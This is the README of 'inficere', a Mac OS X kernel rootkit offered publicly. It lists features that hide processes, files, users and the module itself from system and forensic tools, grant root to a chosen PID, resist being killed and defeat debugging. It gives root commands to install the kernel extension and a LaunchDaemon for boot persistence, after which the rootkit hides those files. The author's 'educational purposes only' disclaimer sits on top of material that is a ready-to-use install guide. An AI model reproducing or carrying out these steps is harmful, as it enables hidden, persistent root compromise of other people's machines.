inficere

Public version of my Mac OS X rootkit built on top of fractalG's onyx-the-black-cat (https://github.com/gdbinit/onyx-the-black-cat)

Tested only in Mountain Lion, 10.8.2 to 10.8.5. Not guaranteed to work on other versions.

Features

• process hiding - hides from 'ps PID', 'ps aux', Activity Monitor, top, etc
• file/directory hiding
• user hiding - hides a specified user from 'who', 'w'
• self hiding - hides the module itself from kextstat and volatility
• anti-kill
• PID to UID 0
• anti-debug tricks (mostly by @osxreverser) - anti-anti-ptrace, patch task_for_pid(0), etc

Instructions

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

For boot persistence:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere will hide above files after loaded.

I would like to emphasise that I made this for educational purposes only.
